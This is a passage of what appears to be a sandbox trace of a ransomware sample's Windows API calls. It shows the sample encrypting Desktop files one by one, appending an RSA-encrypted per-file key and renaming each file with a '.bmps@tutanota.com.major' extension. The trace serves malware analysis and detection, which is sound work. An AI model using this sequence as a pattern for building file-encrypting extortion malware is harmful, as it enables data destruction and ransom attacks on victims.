hHeap=0x570000) returned 1 [0155.507] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\Z8ZmBjcshL9T.png" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\z8zmbjcshl9t.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\Z8ZmBjcshL9T.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\z8zmbjcshl9t.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0155.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0155.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0155.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0155.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.508] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.508] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\w-jv80La0-FO.png", dwFileAttributes=0x80) returned 1 [0155.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0155.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0155.509] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0155.509] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\w-jv80La0-FO.png" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\w-jv80la0-fo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.509] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=44704) returned 1 [0155.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaea0) returned 0x6538b0 [0155.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaea0) returned 0x2e61f30 [0155.509] ReadFile (in: hFile=0x6ac, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xaea0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xaea0, lpOverlapped=0x0) returned 1 [0155.510] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-44704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.510] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xaea0, lpOverlapped=0x0) returned 1 [0155.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.511] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xaea0 [0155.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.511] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jsmS28fnKibyHh1GVnDXyCisSAw9SvRGei+MEhWAD5MbzMhExuFkFSuyIps7Jt/G\nZk4miN9o3KE2RIqZH427QTLIYF4gkj480kwQVUSkX7g9Tu+BbWtO2o8tD3eI443L\nNQad8NJmrZd036lps/qRyvyqR+Z6wqXDxk1zopzizjIAHRwE4aofJ6hRQBumo3gb\nW7V7ofuCDF94ktWG8Cu5gTByDmwGbuB8ph7ADQASV0AmCIXiZEKyVtl2YOBJN7Tc\n2GBpqFN6a2QSRy30mbwPUEUmyOWOnz6tet8d5lAE59upuPnTFJ2J3aE122xzrLeu\nlFR0Y7a68A+ZaOAb0YciDg==\n", pcchString=0x2e3f9a8) returned 1 [0155.511] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.511] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.512] CloseHandle (hObject=0x6ac) returned 1 [0155.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.512] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\w-jv80La0-FO.png" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\w-jv80la0-fo.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\w-jv80La0-FO.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\w-jv80la0-fo.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.513] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0155.513] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.513] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0155.513] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0155.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.513] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.513] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\UlFavsILucGX4X_RoL.ods", dwFileAttributes=0x80) returned 1 [0155.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0155.513] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.513] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\UlFavsILucGX4X_RoL.ods" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\ulfavsilucgx4x_rol.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.514] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=76915) returned 1 [0155.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12c73) returned 0x2e61f30 [0155.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12c73) returned 0x2e74bb0 [0155.514] ReadFile (in: hFile=0x6ac, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x12c73, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x12c73, lpOverlapped=0x0) returned 1 [0155.515] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-76915, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.516] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e74bb0*, nNumberOfBytesToWrite=0x12c73, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e74bb0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12c73, lpOverlapped=0x0) returned 1 [0155.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e74bb0 | out: hHeap=0x570000) returned 1 [0155.516] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12c73 [0155.516] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.516] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.516] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.516] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.516] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.516] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="mtP6yyUE68awO/TtzJaLkei1qPMDvoAWUM/CQIdaykUVhWL4/gEFHYfFzf0YxOGd\nmwVf37QpvkFvS1hDgN4jphoq+lvVf2w6ISTT8dfWVXtG4EcoEg6jLHp61/JY4TrA\nN+w40+J1KLRBGrI8vIY65MvMrF7aoHXoAfbh1T0wIkUrcxzfmeWZhWRaTh31d7We\nIKOAnuXXqmjhKmiUBRSvsOBYVOx+MxcUW7G2F7cu9tZhwnmFrw/D8GkdMr3rVsa1\nvY9KR7iUPMVrO8KIxhPCy1+PQ+sFJJOQI+L4NT9C84jdZBCQSg4XIDB1A9Cl07kP\neBXhk5Ypk92MenL+oSaCiQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.516] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.516] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.517] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.517] CloseHandle (hObject=0x6ac) returned 1 [0155.517] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.517] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\UlFavsILucGX4X_RoL.ods" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\ulfavsilucgx4x_rol.ods"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\UlFavsILucGX4X_RoL.ods.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\ulfavsilucgx4x_rol.ods.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.518] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0155.518] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.518] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0155.518] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.518] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0155.518] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.518] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\PEzo.mp3", dwFileAttributes=0x80) returned 1 [0155.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e2e0 [0155.519] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.519] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\PEzo.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\pezo.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.519] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=48332) returned 1 [0155.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbccc) returned 0x6538b0 [0155.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbccc) returned 0x2e61f30 [0155.519] ReadFile (in: hFile=0x6ac, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xbccc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xbccc, lpOverlapped=0x0) returned 1 [0155.520] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-48332, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.520] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xbccc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbccc, lpOverlapped=0x0) returned 1 [0155.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.520] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbccc [0155.520] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.520] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.573] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.573] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.573] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.573] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="MJApJhb1JmXCNdz0q0dSZuefDMShxsDYZM6Ru8kEcIdku4V+Njhn2TtS4/I42Y4n\naW3fU8pDRSJQsozSeMri8CLKGhu5xgOSg68uw49YWbxM6sSiWcVQ/JlhD8VjSxBg\nLXMqA5A9rbCxIjvYBzP3MVzWbf/vQS5Tt9uzybxUJYTfjzzNvngMrhGxsHZFDX0D\n8leNXPG+qeMwbhMiUqwLes18jgMp+VRfPthW+PWstA7lv85CiCMQ+qjkwAV/Rd4T\n1lwzWlkBiM0iO88OKj1VYw0E7WHMi/6mLxrvmLCr9rjOOOuON2MNx51w3J5LyzTB\n5KPJcEXIIGZn6pSK5nSpiA==\n", pcchString=0x2e3f9a8) returned 1 [0155.573] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.573] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.573] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.574] CloseHandle (hObject=0x6ac) returned 1 [0155.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.574] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\PEzo.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\pezo.mp3"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\PEzo.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\pezo.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.575] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0155.575] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.575] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0155.575] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0155.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0155.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.575] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.575] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\LKNp-N0.gif", dwFileAttributes=0x80) returned 1 [0155.576] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0155.576] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0155.576] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0155.576] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\LKNp-N0.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\lknp-n0.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.576] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12696) returned 1 [0155.576] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3198) returned 0x6538b0 [0155.576] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3198) returned 0x656a50 [0155.576] ReadFile (in: hFile=0x6ac, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3198, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3198, lpOverlapped=0x0) returned 1 [0155.577] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-12696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.577] WriteFile (in: hFile=0x6ac, lpBuffer=0x656a50*, nNumberOfBytesToWrite=0x3198, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x656a50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3198, lpOverlapped=0x0) returned 1 [0155.577] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.577] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656a50 | out: hHeap=0x570000) returned 1 [0155.577] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3198 [0155.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.577] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.578] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Pj/Ci47QBDiBNAKaa8L2MNarDAB+56eCKpiKK9R1zZipOIuXyjzglfXAsjrzfZSr\nQVap8vqklARqb/rXRoEMD6pj7xBSlTP0n0Shz3bdW2M7SrhYRdrcTryrkTlDwoS2\nqncpvtPw46xvJ04bqA2w/Ne/HMYnhWeAcImun+JFa4PRlbg94dAxDPfOBAHQwFNG\nSFZPEE00tNkRqWo1NdzOMHADHX1YsQrLY4P1nDEOdga/QmirzYhB1zyAyA+rCEx8\nAlu/zflFqgsx32Do6hp2+fIL4LPg4HaTJXNhBq7mq52yDKiIsFMBECjQqu5vmrks\n+TIeWYFEwq/Y0Sz2g9lvRw==\n", pcchString=0x2e3f9a8) returned 1 [0155.578] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.578] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.578] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.578] CloseHandle (hObject=0x6ac) returned 1 [0155.578] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.578] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\LKNp-N0.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\lknp-n0.gif"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\LKNp-N0.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\lknp-n0.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0155.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0155.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0155.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.580] 